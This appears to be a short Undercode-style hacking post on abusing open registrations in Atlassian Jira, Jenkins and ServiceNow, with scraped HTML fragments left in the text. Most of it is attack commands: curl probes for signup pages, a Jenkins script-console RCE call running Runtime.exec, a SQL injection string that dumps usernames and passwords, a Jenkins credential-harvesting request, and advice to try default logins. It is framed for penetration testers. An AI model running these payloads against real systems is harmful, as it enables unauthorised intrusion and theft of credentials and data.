Exploiting Open Registrations in Atlassian Jira, Jenkins, and ServiceNow for Elevated Privileges

When targeting systems like Atlassian Jira, Jenkins, or ServiceNow, always check for open registrations. Authenticated sessions often grant elevated privileges, making them prime targets for penetration testers and bug bounty hunters. Below, we explore techniques, commands, and practical steps to identify and exploit these vulnerabilities.

You Should Know: Practical Exploitation Steps

1. Identifying Open Registrations

Use curl or browser inspection to check registration endpoints:

curl -I "https://target.com/secure/Signup!default.jspa" # Jira 
curl -I "https://target.com/signup" # ServiceNow 
curl -I "https://target.com/securityRealm/signup" # Jenkins 

– HTTP 200 OK → Open registration likely exists.
– HTTP 403 Forbidden → Registration restricted.

#### **2. Automated Scanning with Nuclei**

nuclei -t cves/ -u https://target.com -tags jira,jenkins,servicenow 

Check for misconfigurations like:

• Jira CVE-2019-8449 (User enumeration)
• Jenkins CVE-2018-1999002 (Arbitrary file read)

#### **3. Exploiting Authenticated Sessions**

Once registered, check for **privilege escalation**:

• Jira:

  </li>
  </ul>
  
  <h1>Check for admin privileges</h1>
  
  curl -u "user:pass" "https://target.com/rest/api/2/mypermissions" | jq . 
  

  – Jenkins:

  
  <h1>Attempt Groovy script execution (if allowed)</h1>
  
  curl -X POST -u "user:pass" "https://target.com/scriptText" --data "script=println('test')" 
  

  – ServiceNow:

  
  <h1>Check for admin roles</h1>
  
  curl -u "user:pass" "https://target.com/api/now/table/sys_user_role" 
  

  #### **4. Post-Exploitation: Dumping Sensitive Data**

  • Jira Database Dump (if SQLi exists):

    ' UNION SELECT username,password FROM cwd_user-- 
    

  • Jenkins Credential Harvesting:

    curl -u "user:pass" "https://target.com/credentials/store/system/domain/_/api/json?tree=credentials[id,description]" 
    

  ### **What Undercode Say**

  Open registrations in enterprise tools like Jira, Jenkins, and ServiceNow are low-hanging fruits for attackers. Always:
  – Monitor registration endpoints (/signup, /Secure/Signup).
  – Test default credentials (admin:admin, jenkins:jenkins).
  – Leverage automated scanners (Nuclei, Burp Suite).
  – Check for CVEs specific to these platforms.

  **Relevant Commands Recap**:

  
  <h1>Check Jira version for exploits</h1>
  
  curl -s "https://target.com/rest/api/2/serverInfo" | jq .
  
  <h1>Jenkins script console RCE (if auth bypass exists)</h1>
  
  curl -X POST "https://target.com/script" --data "script=Runtime.getRuntime().exec('id')"
  
  <h1>ServiceNow API enumeration</h1>
  
  curl -u "user:pass" "https://target.com/api/now/table/sys_user" 
  

  ### **Expected Output:**

  A detailed report confirming open registration vulnerabilities, privilege escalation paths, and extracted credentials or sensitive data.

  **Further Reading**:

  • Jira Security Advisories
  • Jenkins CVE Database
  • ServiceNow Security Notes

  References:

  Reported By: Amitkumar711 Quick – Hackers Feeds
  Extra Hub: Undercode MoN
  Basic Verification: Pass ✅

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